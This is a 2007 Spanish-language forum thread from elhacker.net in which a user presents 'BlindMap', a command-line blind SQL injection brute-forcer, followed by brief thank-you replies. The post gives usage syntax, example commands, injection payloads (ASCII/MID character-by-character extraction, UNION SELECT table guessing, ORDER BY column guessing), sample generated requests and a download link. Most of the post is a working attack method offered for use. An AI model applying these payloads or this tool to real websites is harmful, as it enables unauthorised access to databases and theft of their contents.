Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Bugs y Exploits => Hacking => Nivel Web => Mensaje iniciado por: codebreak en 9 Junio 2007, 00:35 AM

Título: BlindMap - Advanced SQL Injection
Publicado por: codebreak en 9 Junio 2007, 00:35 AM
Hola,

Esta es una pequeña aplicación que hice el otro día.
Consiste en un bruteforcer automatizado para inyecciones ciegas (blind).  La idea principal de esta utilidad es la posibilidad de construir inyecciones SQL a gusto (sean ciegas o no) y utilizando el poder de la fuerza bruta. Se que hay una gran cantidad de utilidades para poder realizar inyecciones, sin embargo, la gran mayoría (o las que yo he visto) poseen inyecciones predeterminadas para obtener información especifica y no te dan la libertad de poder crear tus propias inyecciones con procesos automatizados.

Con esta utilidad, podrás crear tus propias inyecciones utilizando un incremento de char(n) para poder obtener información valiosa, incluso pudiendo utilizar diccionarios para poder forzar el nombre de tablas, columnas, etc...

La aplicacion:

   ______ _ _           ____  ___           
   | ___ \ (_)         | |  \/  |           
   | |_/ / |_ _ __   __| | .  . | __ _ _ __ 
   | ___ \ | | '_ \ / _` | |\/| |/ _` | '_ \
   | |_/ / | | | | | (_| | |  | | (_| | |_) |
   \____/|_|_|_| |_|\__,_\_|  |_/\__,_| .__/
                                      | |   
                                      |_| Rev.4

~ [ www.codebreak.tk - codebreak1984@gmail.com] ~

   Blind SQL Mapper - For advanced SQL Injection

Works with all mysql versions. Just desing a valid query.


Coded by: Codebreak (a.k.a Codebreak1984)
Contact: codebreak1984@gmail.com

-----------------------------------------------------------------------------
Usage: sql.exe -type host path injection check
type:
-column      Will try to find valid columns using a wordlist.
-brute       Will try to bruteforce your query.
-table       Will bruteforce your query with a wordlist.
host:        target server (ip or hostname)
path:        vulnerable path, including script and variable
injection:   a valid mysql query.
-[+]          the incremental MID variable, in case of a true query.
-[char]       the incremental char numbers to compare the column data.
-[word]       You can test words from a wordlist. Nice to find tables.
check:       A string shown in a valid query

Examples:

sql.exe -brute "www.injectme.com" "/guestbook/recorded/show.php?id=1" "+AND+ASCII(MID(column,[+],1))=[char]" "admin data"

sql.exe -column "www.injectme.com" "/news/news.php?id=1" "Ps3 released!" "wordlist.txt"

sql.exe -table "www.injectme.com" "/news/news.php?id=-1+UNION+SELECT+1,2,3,4,5+FROM+[word]" "Ps3 released!" "wordlist.txt"

-----------------------------------------------------------------------------




Un ejemplo:
Supongamos que yo poseo un script con fallas y averiguo que existe una columna llamada "name", de modo que deseo obtener información dentro de dicha columna, asociada a mi consulta (id=404). Esta consulta debiese funcionar en MySQL 3.x

sql.exe -brute "localhost" "/system/search.php?search=404" "+AND+ASCII(MID(name,[+],1))=[char]" "404"

Donde:
- Host: localhost.
- Path (y consulta válida): "/system/search.php?search=404"
- Inyección: "+AND+ASCII(MID(name,[+],1))=[char]"
- columna: name
- Utilizando [+] y [char] para fuerza bruta. ("[+]" incrementa solo cuando se encuentra un "match" válido y "[char]" incrementa hasta un match válido).
- match: 404 (no es el ID, es un keyword en caso de resultado valido; 1=1).

* Ya se que lo que buscamos ya aparece en la web y la inyección es innecesaria, pero es para probar el concepto.

Lo anterior va a probar:
search.php?search=404+AND+ASCII(MID(name,1,1))=76
search.php?search=404+AND+ASCII(MID(name,1,1))=77  <--- MATCH VALIDO: 77 representa la letra M
search.php?search=404+AND+ASCII(MID(name,2,1))=32  <--- BUSCANDO SEGUNDA LETRA.
search.php?search=404+AND+ASCII(MID(name,2,1))=33
search.php?search=404+AND+ASCII(MID(name,2,1))=34
search.php?search=404+AND+ASCII(MID(name,2,1))=35


Resultado:
(http://img410.imageshack.us/img410/4568/onezt7.gif)


Otro ejemplo: mysql 3.x
Hagamos que conocemos otra inyección y ahora queremos conocer el nombre de la columna, utilizando esta consulta.

ORDER+BY+column--

De modo, que intentare esto:
sql.exe -column "www.somesite.com" "/news/news.php?id=1" "Ps3 released!" "wordlist.txt"

Donde:
- Host: ww.somesite.com
- Path (y consulta válida): ""/news/news.php?id=1"
- Match (encontrar): "Ps3 released!"
- Wordlist: "wordlist.txt"

Esto intentara:

news.php?id=1+ORDER+BY+user-
news.php?id=1+ORDER+BY+users--
news.php?id=1+ORDER+BY+pass--
news.php?id=1+ORDER+BY+password--
news.php?id=1+ORDER+BY+passwords--

*Cuando se encuentre un resultado válido (1=1), la aplicación listara el nombre de la columna.
** Esta es la unica consulta sin modificacion, esta pre diseñada. (de modo que puede fallar en ciertas apps, debido al diseño)


Otro ejemplo!: mysql 4.x
Encontramos otra inyección y ahora podemos utilizar UNIONES en las consultas, de modo que intentare averiguar el nombre de las tablas.

Intentare esto:
sql.exe -table "www.somesite.com" "/news/news.php?id=-1+UNION+SELECT+1,2,3,4,5+FROM+[word]" "Ps3 released!" "wordlist.txt"

Donde:
- Host: www.somesite.com (http://www.somesite.com)
- Path & Inyección Valida (N° de columnas): "/news/news.php?id=-1+UNION+SELECT+1,2,3,4,5+FROM+[word]"
- Utilizando "[word]" como variable, donde estaran las palabras del diccionario.
- Match: "Ps3 released!"
- Wordlist: "wordlist.txt"
* Cuando haya un resultado valido, la app nos dira la palabra valida.

Obviamente, estos son meramente ejemplos. Ustedes pueden diseñar sus propias consultas.
La idea principal de esta aplicación es poder tener una mano extra, que nos ayude cuando el proceso se vuelve tedioso y puede ser automatizado... porque como podran ver... no es una herramienta muy amigable y podriamos decir que es un poco avanzada.

Descarga:
http://rapidshare.com/files/30757746/sql.zip.html (http://rapidshare.com/files/30757746/sql.zip.html)

Adios!
Título: Re: BlindMap - Advanced SQL Injection
Publicado por: satan69 en 12 Junio 2007, 05:34 AM
ta buena la explicacion..

graciuas ;D ;D ;D
Título: Re: BlindMap - Advanced SQL Injection
Publicado por: h4xxor en 12 Junio 2007, 05:57 AM
code buena tool felicitaciones por tu avance y el trabajo que estas haciendo una tool de facil compilado...gracias
Título: Re: BlindMap - Advanced SQL Injection
Publicado por: WHK en 12 Junio 2007, 06:34 AM
Porfin un usuarui de rapidshare y no de megaupload  :xD

Muy bueno tus tutos codebreack... mucho antes que entraras en este foro yo miraba todos tus videos y desde entonces que he aprendido bastante... ojalá tenga algún dia el tiempo que tu tienes para poder aprender mas  :xD

Felicitaciones.